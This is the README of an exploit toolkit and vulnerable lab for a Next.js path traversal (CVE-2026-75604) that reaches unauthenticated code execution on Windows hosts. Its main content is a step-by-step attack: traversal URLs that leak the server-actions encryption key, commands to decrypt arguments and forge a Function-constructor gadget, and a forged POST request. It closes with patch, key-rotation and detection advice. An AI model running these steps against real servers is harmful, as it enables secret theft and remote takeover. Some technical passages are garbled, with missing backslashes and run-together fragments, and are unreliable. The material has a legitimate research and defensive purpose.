
Лаборатория воспроизведения и инструментарий для эксплуатации CVE-2026-75604 — обхода пути в инкрементальном кэше Next.js, приводящего к неаутентифицированному удалённому выполнению кода (RCE) в Windows. Включает PoC, forge CLI и тестовую обвязку (harness).
Лаборатория воспроизведения и эксплойт-инструментарий для CVE-2026-75604 — неаутентифицированного обхода пути в инкрементальном кэше Next.js, затрагивающего Windows-хосты. Один неэкранированный обратный слэш позволяет атакующему читать и записывать файлы за пределами каталога кэша; на подходящих версиях и при определённой структуре приложения это приводит к неаутентифицированному удалённому выполнению кода.
Исследование: Fortbridge. Полный отчёт: Воспроизведение CVE-2026-75604 (ссылка на блог — обновить после публикации).
⚠️ Только авторизованное тестирование. Это намеренно уязвимое приложение и рабочий эксплойт для исправленной CVE. Используйте его в изолированной лабораторной сети, которой вы владеете. Никогда не разворачивайте цель где-либо, доступной из продакшена или интернета.
escapePathDelimiters (утилиты роутера Next.js) экранирует /, #, ?, но .
Процентно-закодированный обратный слэш () в сегменте маршрута декодируется в сырой , попадает
в ключ инкрементального кэша и — поскольку в Windows является разделителем пути —
выходит за пределы корня кэша. Тот же код обслуживает кэша,
что даёт произвольное чтение и запись файлов. Только Windows; Linux/macOS трактуют
как обычный символ имени файла.
\%5C\\path.join()\Затронуты: 13.4-15.5.23 и 16.0-16.3.2. Исправлено: 15.5.24 / 16.3.3.
Обход пути охватывает весь затронутый диапазон, но гаджет RCE (цепочка свойств React Flight
constructor:constructor, разрешающаяся в конструктор Function)
работает только там, где в react-server-dom-webpack отсутствует защитная проверка ссылок, добавленная в середине жизненного цикла:
| Диапазон Next.js | Гаджет → Function | Воздействие |
|---|---|---|
| 13.4 - 14.x | нет (нет поддержки путей свойств) | чтение / запись / обход авторизации |
| 15.0.0 - 15.5.22 | да | способен на RCE |
| 15.5.23 | нет (добавлена защита) | только обход пути |
| 16.0.0 - 16.2.x | да | способен на RCE |
| 16.3.0 - 16.3.2 | нет (добавлена защита) | только обход пути |
| 15.5.24 / 16.3.3 | - | исправлено |
RCE также требует Server Action высшего порядка на стороне приложения, которая вызывает значение,
захваченное замыканием, с пользовательским вводом (boundFn(input)()). Приложения без такого паттерна
по-прежнему сталкиваются с раскрытием данных, записью/DoS и обходом авторизации Server Action. См. research/FINDINGS.md
и research/rce-version-matrix.txt.
| путь | что это |
|---|---|
setup-windows.ps1 | сборка + запуск уязвимой лаборатории на Windows-хосте (по умолчанию Next 16.2.0) |
app/ | минимальная уязвимая цель: домашний Server Action (приёмник RCE) + два кэшируемых catch-all маршрута |
exploit.mjs | PoC только на чтение — утечка encryptionKey через обход пути (--burp, --raw, --write) |
forge-cli.mjs | decrypt подлинного связанного аргумента / gadget для подделки блоба Function |
send-action.mjs | шаги 4-5 одной командой: подделанный POST + чтение результата (--proof, --burp) |
harness/ | независимое от ОС повторное обнаружение — запускает немодифицированный код 16.3.2/16.3.3 под path.win32 |
BURP-STEPS.md | связный рецепт воспроизведения из 5 шагов |
research/ | diff патча, матрица версий, выводы |
evidence/ | скриншоты из проверенного запуска |
# сборка + запуск уязвимой лаборатории (Next.js 16.2.0)
powershell -File setup-windows.ps1 # выводит BUILD_ID и контрольные URL
# шаг 1 (браузер): прогрев, затем чтение через обход пути → encryptionKey
# http://<host>:3000/app-cache/..%5C..%5Cserver-reference-manifest (прогрев)
# http://<host>:3000/_next/data/<BUILD_ID>/pages-cache/..%5C..%5Cserver-reference-manifest.json
# шаги 2-3: расшифровка подлинного связанного аргумента, затем подделка гаджета Function
node forge-cli.mjs decrypt <key> <actionId> <blob-from-page>
node forge-cli.mjs gadget <key> <actionId>
# шаги 4-5 (через Burp): подделанный POST + чтение результата одной командой
node send-action.mjs http://<host>:3000 --key <key> --action <actionId> --proof pwn --burp
Нет Windows-машины? node harness/harness.mjs доказывает обход пути на любой ОС, запуская
реальный поставляемый код Next.js 16.3.2 и 16.3.3 с path, привязанным к path.win32.
Обновитесь до 15.5.24 или 16.3.3. Для затронутых Windows-хостов обходного решения на месте нет.
Ротируйте секреты, которые могло раскрыть чтение, — особенно
NEXT_SERVER_ACTIONS_ENCRYPTION_KEY (при закреплении утёкший ключ остаётся действительным после пересборок).
%5C / ..%5C в сегменте маршрута к /_next/data/… или кэшируемым путям App Router.{"pageProps":…,"__N_SSG":true} (разрушающее чтение)..html / .rsc / .meta), записанные за пределами .next\server\app\ или .next\server\pages\.